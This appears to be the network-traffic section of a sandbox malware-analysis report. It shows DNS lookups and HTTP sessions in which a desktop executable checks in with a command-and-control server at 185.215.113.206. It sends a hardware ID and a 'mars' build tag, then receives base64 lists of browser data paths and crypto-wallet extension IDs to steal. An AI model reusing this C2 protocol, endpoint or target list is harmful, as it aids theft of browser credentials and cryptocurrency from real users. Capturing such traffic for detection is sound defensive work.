Nov 15, 2024 09:55:38.924777031 CET	192.168.2.7	1.1.1.1	0x74ad	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 15, 2024 09:55:38.925252914 CET	192.168.2.7	1.1.1.1	0x1dec	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 09:55:38.925786018 CET	192.168.2.7	1.1.1.1	0x417e	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 15, 2024 09:55:39.105566025 CET	192.168.2.7	1.1.1.1	0xa64d	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 09:55:39.105838060 CET	192.168.2.7	1.1.1.1	0xceb8	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 15, 2024 09:55:24.281130075 CET	1.1.1.1	192.168.2.7	0x793	No error (0)	www.google.com		142.250.186.164	A (IP address)	IN (0x0001)	false
Nov 15, 2024 09:55:24.281152010 CET	1.1.1.1	192.168.2.7	0x6c08	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 15, 2024 09:55:28.065162897 CET	1.1.1.1	192.168.2.7	0x22d6	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 09:55:28.065162897 CET	1.1.1.1	192.168.2.7	0x22d6	No error (0)	plus.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Nov 15, 2024 09:55:28.067362070 CET	1.1.1.1	192.168.2.7	0x59ec	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 09:55:29.064439058 CET	1.1.1.1	192.168.2.7	0xa1e6	No error (0)	play.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Nov 15, 2024 09:55:34.047204018 CET	1.1.1.1	192.168.2.7	0x89d2	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 09:55:34.048015118 CET	1.1.1.1	192.168.2.7	0xe2a4	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 09:55:34.379578114 CET	1.1.1.1	192.168.2.7	0x3e11	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 09:55:34.379605055 CET	1.1.1.1	192.168.2.7	0xa94b	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 09:55:34.379605055 CET	1.1.1.1	192.168.2.7	0xa94b	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 15, 2024 09:55:36.036746979 CET	1.1.1.1	192.168.2.7	0xbc3f	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 09:55:36.037739992 CET	1.1.1.1	192.168.2.7	0x203c	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 09:55:37.220130920 CET	1.1.1.1	192.168.2.7	0x542d	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Nov 15, 2024 09:55:37.220130920 CET	1.1.1.1	192.168.2.7	0x542d	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Nov 15, 2024 09:55:37.220130920 CET	1.1.1.1	192.168.2.7	0x542d	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Nov 15, 2024 09:55:37.220130920 CET	1.1.1.1	192.168.2.7	0x542d	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Nov 15, 2024 09:55:37.235119104 CET	1.1.1.1	192.168.2.7	0x306e	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 09:55:37.235938072 CET	1.1.1.1	192.168.2.7	0x5dca	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 09:55:37.246511936 CET	1.1.1.1	192.168.2.7	0xe8f2	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 09:55:37.246911049 CET	1.1.1.1	192.168.2.7	0xe048	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 09:55:37.253189087 CET	1.1.1.1	192.168.2.7	0x2c7	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 09:55:37.253266096 CET	1.1.1.1	192.168.2.7	0xc0fd	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 09:55:37.515716076 CET	1.1.1.1	192.168.2.7	0xdb49	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 09:55:37.515716076 CET	1.1.1.1	192.168.2.7	0xdb49	No error (0)	googlehosted.l.googleusercontent.com		142.250.186.65	A (IP address)	IN (0x0001)	false
Nov 15, 2024 09:55:37.515959024 CET	1.1.1.1	192.168.2.7	0x568f	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 09:55:38.931204081 CET	1.1.1.1	192.168.2.7	0x9d58	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 15, 2024 09:55:38.931204081 CET	1.1.1.1	192.168.2.7	0x9d58	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 15, 2024 09:55:38.931556940 CET	1.1.1.1	192.168.2.7	0x74ad	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 15, 2024 09:55:38.932334900 CET	1.1.1.1	192.168.2.7	0x1dec	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 15, 2024 09:55:38.932334900 CET	1.1.1.1	192.168.2.7	0x1dec	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 15, 2024 09:55:38.932481050 CET	1.1.1.1	192.168.2.7	0x417e	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 15, 2024 09:55:39.112418890 CET	1.1.1.1	192.168.2.7	0xceb8	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 15, 2024 09:55:39.112796068 CET	1.1.1.1	192.168.2.7	0xa64d	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 15, 2024 09:55:39.112796068 CET	1.1.1.1	192.168.2.7	0xa64d	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 15, 2024 09:55:39.136866093 CET	1.1.1.1	192.168.2.7	0xd2fc	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 09:55:39.469753981 CET	1.1.1.1	192.168.2.7	0xbaa7	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 09:55:39.469753981 CET	1.1.1.1	192.168.2.7	0xbaa7	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 15, 2024 09:55:40.122123003 CET	1.1.1.1	192.168.2.7	0xcffb	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 09:55:40.122123003 CET	1.1.1.1	192.168.2.7	0xcffb	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 15, 2024 09:55:40.171725988 CET	1.1.1.1	192.168.2.7	0xbb16	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49712	185.215.113.206	80	7284	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 09:55:12.020600080 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 15, 2024 09:55:12.939657927 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 15, 2024 09:55:13.110723972 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAKEBAFIIECBGCAAAAFC Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 41 46 49 49 45 43 42 47 43 41 41 41 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 30 34 35 38 38 31 34 31 46 38 42 32 37 36 38 32 33 36 36 34 33 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 41 46 49 49 45 43 42 47 43 41 41 41 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 41 46 49 49 45 43 42 47 43 41 41 41 41 46 43 2d 2d 0d 0a Data Ascii: ------BAKEBAFIIECBGCAAAAFCContent-Disposition: form-data; name="hwid"F04588141F8B2768236643------BAKEBAFIIECBGCAAAAFCContent-Disposition: form-data; name="build"mars------BAKEBAFIIECBGCAAAAFC--
Nov 15, 2024 09:55:14.399473906 CET	407	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:13 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 6d 55 30 5a 44 55 30 4f 47 4d 32 4d 32 46 6a 4f 44 41 31 5a 54 6b 77 4d 6d 52 6d 4d 57 55 30 4f 54 49 31 4e 6a 64 6d 59 54 52 6d 4d 6a 52 68 4f 54 42 69 4e 6d 45 79 59 6d 46 6b 4e 6d 4e 6a 4f 54 67 31 4d 32 4e 6d 4f 54 41 31 4e 54 4d 34 59 54 63 7a 59 32 51 7a 4e 7a 6c 6b 4f 44 4e 6b 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MmU0ZDU0OGM2M2FjODA1ZTkwMmRmMWU0OTI1NjdmYTRmMjRhOTBiNmEyYmFkNmNjOTg1M2NmOTA1NTM4YTczY2QzNzlkODNkfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 15, 2024 09:55:14.401882887 CET	407	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:13 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 6d 55 30 5a 44 55 30 4f 47 4d 32 4d 32 46 6a 4f 44 41 31 5a 54 6b 77 4d 6d 52 6d 4d 57 55 30 4f 54 49 31 4e 6a 64 6d 59 54 52 6d 4d 6a 52 68 4f 54 42 69 4e 6d 45 79 59 6d 46 6b 4e 6d 4e 6a 4f 54 67 31 4d 32 4e 6d 4f 54 41 31 4e 54 4d 34 59 54 63 7a 59 32 51 7a 4e 7a 6c 6b 4f 44 4e 6b 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MmU0ZDU0OGM2M2FjODA1ZTkwMmRmMWU0OTI1NjdmYTRmMjRhOTBiNmEyYmFkNmNjOTg1M2NmOTA1NTM4YTczY2QzNzlkODNkfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 15, 2024 09:55:14.402033091 CET	407	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:13 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 6d 55 30 5a 44 55 30 4f 47 4d 32 4d 32 46 6a 4f 44 41 31 5a 54 6b 77 4d 6d 52 6d 4d 57 55 30 4f 54 49 31 4e 6a 64 6d 59 54 52 6d 4d 6a 52 68 4f 54 42 69 4e 6d 45 79 59 6d 46 6b 4e 6d 4e 6a 4f 54 67 31 4d 32 4e 6d 4f 54 41 31 4e 54 4d 34 59 54 63 7a 59 32 51 7a 4e 7a 6c 6b 4f 44 4e 6b 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MmU0ZDU0OGM2M2FjODA1ZTkwMmRmMWU0OTI1NjdmYTRmMjRhOTBiNmEyYmFkNmNjOTg1M2NmOTA1NTM4YTczY2QzNzlkODNkfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 15, 2024 09:55:14.403170109 CET	407	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:13 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 6d 55 30 5a 44 55 30 4f 47 4d 32 4d 32 46 6a 4f 44 41 31 5a 54 6b 77 4d 6d 52 6d 4d 57 55 30 4f 54 49 31 4e 6a 64 6d 59 54 52 6d 4d 6a 52 68 4f 54 42 69 4e 6d 45 79 59 6d 46 6b 4e 6d 4e 6a 4f 54 67 31 4d 32 4e 6d 4f 54 41 31 4e 54 4d 34 59 54 63 7a 59 32 51 7a 4e 7a 6c 6b 4f 44 4e 6b 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MmU0ZDU0OGM2M2FjODA1ZTkwMmRmMWU0OTI1NjdmYTRmMjRhOTBiNmEyYmFkNmNjOTg1M2NmOTA1NTM4YTczY2QzNzlkODNkfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 15, 2024 09:55:14.411989927 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGHIIJKEBGIDHIDBKJD Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 64 35 34 38 63 36 33 61 63 38 30 35 65 39 30 32 64 66 31 65 34 39 32 35 36 37 66 61 34 66 32 34 61 39 30 62 36 61 32 62 61 64 36 63 63 39 38 35 33 63 66 39 30 35 35 33 38 61 37 33 63 64 33 37 39 64 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 2d 2d 0d 0a Data Ascii: ------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="token"2e4d548c63ac805e902df1e492567fa4f24a90b6a2bad6cc9853cf905538a73cd379d83d------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="message"browsers------JDGHIIJKEBGIDHIDBKJD--
Nov 15, 2024 09:55:14.696115971 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:14 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 15, 2024 09:55:14.696208000 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 15, 2024 09:55:14.698059082 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKFCBAEHCAEGDHJKFHJK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 64 35 34 38 63 36 33 61 63 38 30 35 65 39 30 32 64 66 31 65 34 39 32 35 36 37 66 61 34 66 32 34 61 39 30 62 36 61 32 62 61 64 36 63 63 39 38 35 33 63 66 39 30 35 35 33 38 61 37 33 63 64 33 37 39 64 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 2d 2d 0d 0a Data Ascii: ------JKFCBAEHCAEGDHJKFHJKContent-Disposition: form-data; name="token"2e4d548c63ac805e902df1e492567fa4f24a90b6a2bad6cc9853cf905538a73cd379d83d------JKFCBAEHCAEGDHJKFHJKContent-Disposition: form-data; name="message"plugins------JKFCBAEHCAEGDHJKFHJK--
Nov 15, 2024 09:55:14.982256889 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:14 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
